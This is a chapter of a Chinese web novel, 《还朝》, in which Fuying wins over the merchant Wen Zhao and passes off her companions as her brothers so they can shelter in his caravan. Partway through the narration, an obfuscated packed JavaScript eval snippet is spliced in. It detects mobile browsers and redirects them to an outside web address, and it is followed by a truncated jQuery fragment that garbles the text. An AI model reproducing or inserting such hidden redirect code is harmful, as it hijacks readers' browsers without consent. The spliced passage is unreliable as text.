24. 024

作品:《还朝

    他略一颔首,身后四五个护卫立马冲了出去,从两侧包抄,不一会儿功夫就将两个劫匪死死按在地上。


    紫衣男子缓步上前,对着扶盈从容一揖:“姑娘受惊了,在下祁都碧玉坊掌柜温照,这几位是我的护院。”


    他看起来不过弱冠的年纪,眉眼极秀气,唇红齿白,身姿清瘦。虽然束着发冠,穿着一身利落的劲装,却无寻常男子的粗犷,举手投足间都透着一丝文雅与温柔,与扶盈往日所见的商贾看起来大为不同。


    扶盈若有所思地端详温照片刻,眼圈恰到好处地微微一红,纤长的睫毛微颤,朝着他盈盈下拜:“小女阿扶,拜谢温公子。”


    “姑娘不必多礼!”温照连忙上前扶起她。


    扶盈顺势搭住他的手,手掌肌理绵软,不似习武之人。掌心干燥,拇指与食指内侧有一层厚茧,这是长期揉捏瓷泥、提拉胎胚才会留下的痕迹。


    扶盈目光扫过前方岔路上的车队,装饰华贵的马车后跟着两驾满载箱笼的货车,她突然想起先前砸中劫匪的那个青瓷花瓶,想来这些便是温照要运往城中售卖的瓷器。


    目前看来,他的身份暂时没有问题。


    就在扶盈重新绽开笑颜,用那双盈盈水眸望向温照时,后方牛车上的程迹猛拍了谢连玉两下,急道:“姓谢的你快看!这还没说几句话呢,那小白脸都摸上手了!”


    谢连玉静默不语。


    “嗨,我说你快……”他用力将谢连玉的肩扭过来,突然看到他涣散的瞳孔,后知后觉意识到说错了话,猝然放了手,不自然地咳嗽了两声,“抱歉,忘了你看不到……”


    程迹尴尬地别开视线,正撞见扶盈回头,眼中寒芒摄人,立马把嘴巴闭上了


    “方才我听你说,你们是在龙渊城行商的?”温照温声询问道。


    扶盈顺势起身,见温照探究的视线投向牛车后方,连忙解释:“温公子误会了,那只是诓那劫匪的话。”


    她一早看出温照是个心软的人,故意咬住下唇,放慢语速,凄楚道:“实不相瞒,我此番是同两位兄长前来寻医的。我长兄前些日子在祈都不慎遭歹人暗算,伤了双眼,我们访遍祈都名医,却无人能治,这才想着前往龙渊碰碰运气。谁知途中……”


    说着,扶盈目光扫过岔路上停着的那辆华贵马车,话音故意一顿,以袖掩面,低下头酝酿了一下,重新抬起头时,一双明眸含泪望着温照:“我们的车马钱财尽数被劫,卖了所有贴身的值钱物件,这才勉强与农户换来这辆牛车。”


    温照听完,眼中顿生同情之意,自袖中掏出一方素帕递与扶盈,柔声安抚道:“姑娘莫伤心,几位若是不嫌弃,不妨与我同行。我所带护院虽不多,但保护几位周全还是没问题的!”


    他略作停顿,目光扫过后方还带着伤的谢连玉,言辞更为恳切:“我在龙渊城尚有一处分号可落脚,姑娘与令兄若不介意,尽可住下,也好把盘缠省下,为令兄好生寻医诊治。”


    扶盈原只是想借温照的马车搭一程,不曾想他竟这般热情。


    细细算来,祁都那边赵颐应当已经醒了,按照他们与徐枢的约定,护送质子归国的车驾不日就会大张旗鼓地启程。届时,各方视线聚焦,路途上的阻碍只怕会更多。


    若是能借温照的商队身份作为掩护,悄无声息混入城中,避开官道驿馆的耳目,于他们而言,倒是更安全些。


    温照见扶盈望着马车出神,忽然想到什么,道:“阿扶姑娘,在下的马车虽说不算宽敞,但好歹能遮阳避雨。姑娘与令兄若不嫌弃,尽可在此歇息,总好过牛车颠簸。”


    扶盈心下一喜,但还是假模假式地推拒:“温公子愿庇护我们一程,已是大恩,我们怎么能占公子车驾……”


    温照抬手截住她的话头:“阿扶姑娘不必见外,我看令兄面色,应当好生修养。我这便与姑娘一同去迎他们。”


    说着,他转身示意护卫牵马,又缓声询道:“还不知阿扶姑娘的两位兄长如何称呼?”


    这时,程迹正准备下车。


    扶盈迎上前,对温照柔声介绍道:“这是长兄谢珩,这是从兄谢程。”


    程迹闻言脚下一绊,险些连带着谢连玉一起栽倒。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17176203|196634||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    温照忙稳住车驾,诧异地看向扶盈:“谢二公子这是……”


    程迹听这称呼,愈发怨愤地盯着扶盈。


    扶盈稳稳架住程迹的胳膊,对温照歉然一笑:“二哥这是腿脚不好,前些日子走夜路栽河里了,现在腿还没好利索。”


    说着,她笑盈盈地望向程迹:“是吧,二哥?”


    程迹被她笑得一哆嗦,立马撤开一步,不说话了。


    温照见程迹退开,目光掠过谢连玉打着绷带的手腕和苍白的脸色,不由上前伸手欲扶。


    “温公子。”扶盈的声音突然响起,笑意里带着委婉的推拒,“家兄虽然眼盲,但不喜旁人特殊对待,这些小事,他自己来便好。”


    温照伸出的手在半空微微一顿,随即收回,含笑致意:“是我唐突了。”


    他退开一步,目光却不曾移开。


    只见谢连玉的手沿着牛车边缘缓缓移动,右脚试探着前移,在触及地面时略作停顿,确认地面平稳后,整个人才沉稳地落地。


    整个过程他的脊背始终挺得笔直,若非那双眸子没有焦距,几乎与常人无异。


    温照不动声色地观察这对兄妹。


    他留意到,扶盈虽口中说着不必特别对待,自己却始终在兄长身侧半步之内,视线紧随他的每一个动作。当她兄长下车时,她的手一直虚悬在他身后,每当他身形出现摇晃,她的手就会下意识收紧,随时准备搀扶,待他站稳,又会悄然收回手,恢复成若无其事的陪同姿态。


    这般不着痕迹的守护,显然是不想让对方察觉到。可见,方才对她说的那番话,亦非拒绝帮助,而是在维护兄长的尊严。


    谢连玉站稳身形后,准确地面向温照所在的方向,双手合拢,端正一揖:“今日承蒙温公子搭救舍妹,谢某感激不尽。”


    他声音带着病中的虚弱,举止却从容得体,不卑不亢,周身仪态气度绝非小门小户所能涵养。


    温照看在眼里,心下恍然,这兄妹三人,只怕不是寻常人家。他不再多言,只侧身引路,温然道:“车已备好,三位请随我来。”